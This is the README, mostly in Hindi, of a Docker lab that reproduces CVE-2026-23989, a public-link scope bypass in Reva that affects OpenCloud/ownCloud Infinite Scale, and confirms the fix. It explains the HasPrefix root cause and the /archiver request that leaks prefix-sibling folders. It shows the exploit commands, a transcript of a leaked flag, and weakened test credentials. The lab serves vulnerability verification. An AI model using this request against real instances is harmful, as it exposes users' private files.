
# प्रजनन प्रयोगशाला (A/B Docker) CVE-2026-23989 के लिए — OpenCloud / ownCloud Infinite Scale में Reva के public-link scope-सत्यापन बाईपास
एक स्व-निहित, एक-कमांड लैब जो CVE-2026-23989 को दोहराती है और साबित करती है कि यह ठीक हो गया है, आधिकारिक अपस्ट्रीम Docker इमेज का उपयोग करके। एक सार्वजनिक साझा लिंक जो एक फ़ोल्डर तक पहुंच देने वाला माना जाता है, उसका दुरुपयोग उस फ़ोल्डर के स्कोप के बाहर फ़ाइलें पढ़ने के लिए किया जा सकता है।
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw ("Public Link Exploit") |
| CVSS 3.1 | 8.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Class | Broken access control — path-prefix confusion in scope validation |
| Root cause | Reva checkIfNestedResource ने path containment के लिए strings.HasPrefix का उपयोग किया |
| Affected | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Fixed | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Disclosed | 2026-02-05 |
OpenCloud, ownCloud Infinite Scale (OCIS) का 2025 का fork है, जिसे पूर्व ownCloud इंजीनियरों ने Kiteworks द्वारा ownCloud के अधिग्रहण के बाद बनाया था। यह दोष Reva में है, जो CS3 storage backend है जिसे OCIS/OpenCloud साझा करते हैं, और — vendor advisory के अनुसार — "ownCloud (Kiteworks) codebase में उत्पन्न हुआ और OpenCloud द्वारा OCIS को fork करने पर विरासत में मिला।" OpenCloud का उपयोग यहाँ इसलिए किया गया है क्योंकि यह साफ, पिन किए गए, सार्वजनिक vulnerable और fixed इमेज भेजता है जो एक सटीक A/B संभव बनाती हैं।
internal/grpc/interceptors/auth/scope.go, फ़ंक्शन checkIfNestedResource — वह
gateway interceptor जो तय करता है कि public-link token किसी resource को छू सकता है या नहीं:
// vulnerable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath साझा फ़ोल्डर का path है (लिंक का scope); childPath अनुरोधित
resource का path है। String-prefixing path containment नहीं है:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (a sibling, NOT a child)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← wrong: access granted
इसलिए /Shared पर scoped एक लिंक किसी भी same-space resource तक भी पहुंचता है जिसका path
string /Shared से शुरू होता है — जैसे /Shared-secret, /Shared-2024,
/Shared backup। फिक्स टेस्ट को filepath.Rel से बदल देता है और किसी भी
relative path को अस्वीकार कर देता है जो .. से शुरू होता है (पूरा patch patch/reva-scope.go.patch में)।
हर gateway operation जो public-link token ले जाती है, buggy scope
check से गुजरती है, लेकिन खोजकर्ताओं का primitive (और इस लैब का) archiver
service है GET /archiver पर, जो public-token: header के साथ public link के लिए
authenticated है। यह एक resource id (?id=<fileid>) स्वीकार करता है, उसे walk करता है, और
एक zip stream करता है। इसे out-of-scope prefix-sibling के id पर इंगित करें और buggy check
इसे स्वीकार कर लेता है:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret (on 4.0.2)
→ 404 "gateway could not find space for ref=…" (on 4.0.3)
हमलावर को out-of-scope target का resource id प्रदान करना होगा। वह
opaque id एक random UUID है और public link के माध्यम से enumerable नहीं है
(लिंक owner के space को सूचीबद्ध नहीं कर सकता — यह 401 लौटाता है)। OCIS में,
हालांकि, एक resource का oc:fileid लगभग हर WebDAV/graph
response, share invitation, activity notification और web URL (/f/<id>) में उजागर होता है, इसलिए कोई भी
पूर्व collaborator, किसी अन्य share का पूर्व प्राप्तकर्ता, या internal user नियमित रूप से
इसे रखता है — यही कारण है कि vendor ने attack complexity को Low रेट किया। लैब का
setup.sh id को "victim के रूप में" प्राप्त करता है ताकि उसे attacker step को सौंपा जा सके, जो
उस यथार्थवादी पूर्व ज्ञान को मॉडल करता है। Path traversal (?path=../…) नहीं है एक
व्यवहार्य विकल्प: वे paths share के सापेक्ष हल किए जाते हैं और साफ किए जाते हैं (404)।
"/" है
और HasPrefix("/", "/Shared") false है (लैब इसकी पुष्टि करता है: space-root
archive → 404)। Non-prefix siblings जैसे /Private को vulnerable
build पर भी अस्वीकार कर दिया जाता है — लैब इसे एक control के रूप में उपयोग करता है ताकि यह साबित हो सके कि प्रभाव
विशेष रूप से prefix bug है, blanket auth failure नहीं।| File | Purpose |
|---|---|
docker-compose.yml | One OpenCloud container; OC_TAG selects vulnerable (4.0.2) or fixed (4.0.3). |
setup.sh | Seeds the victim scenario in demo-user mary's space and creates a password-less public link on /Shared. Writes state.env. |
exploit.sh | Attacker PoC. Given the link token + a target resource id, calls the archiver and prints any exfiltrated bytes. |
verify.sh | One-command A/B: reproduce on 4.0.2, confirm fixed on 4.0.3, print a PASS/FAIL matrix. |
patch/reva-scope.go.patch | The exact upstream one-line fix, annotated. |
mary के personal space में लगाया गया scenario:
/Shared/public-note.txt ← shared via the public link (in scope)
/Shared-secret/flag.txt ← the PoC target; path prefixes "/Shared" (out of scope)
/Private/topsecret.txt ← control; non-prefix (out of scope, stays denied)
आवश्यकताएँ: Docker + Docker Compose, curl, python3। ~250 MB इमेज खींचता है।
./verify.sh
अपेक्षित आउटपुट:
== Exploit + controls against VULNERABLE 4.0.2 ==
[PASS] in-scope /Shared (legit access) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (expected leak)
[PASS] non-prefix /Private (must stay denied) (expected deny)
== Exploit + control against FIXED 4.0.3 ==
[PASS] in-scope /Shared (still works) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)
== Verdict ==
5 passed, 0 failed
CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.
Rolling-release pair stable के बजाय:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. bring up the vulnerable build
OC_TAG=4.0.2 docker compose up -d
# 2. seed the victim scenario (creates the public link, writes state.env)
./setup.sh
# 3. attack: leak the out-of-scope sibling (reads target from state.env)
./exploit.sh # defaults to the /Shared-secret id
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # control: denied
vulnerable build के खिलाफ वास्तविक transcript (state.env मान प्रति रन भिन्न होते हैं):
===== EXPLOIT /Shared-secret (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK (scope: a single shared folder)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.
===== CONTROL /Private (out-of-scope, non-prefix) =====
[*] HTTP 404, 249 bytes
[-] DENIED — server refused: error: not found: gateway could not find space for ref=…
उसी डेटा के साथ फिक्स की पुष्टि करें (same token और ids):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # now → HTTP 404, DENIED
Tear down:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" सेट करें। Vendor पुष्टि करता है कि
यह समस्या को पूरी तरह से कम करता है (public link तब एक error लौटाता है)।docker-compose.yml जानबूझकर instance को कमजोर करता है ताकि PoC scriptable हो:
PROXY_ENABLE_BASIC_AUTH=true (ताकि curl -u/public-token OIDC
dance के बिना काम करें), IDM_CREATE_DEMO_USERS=true (mary/demo आदि — सार्वजनिक passwords),
IDM_ADMIN_PASSWORD=admin, password-less public links, और एक self-signed cert
(curl -k)। इनमें से कोई भी vulnerability नहीं है; वे केवल इसे एक
shell में देखने योग्य बनाते हैं। बाईपास स्वयं इनसे स्वतंत्र है।
8d52003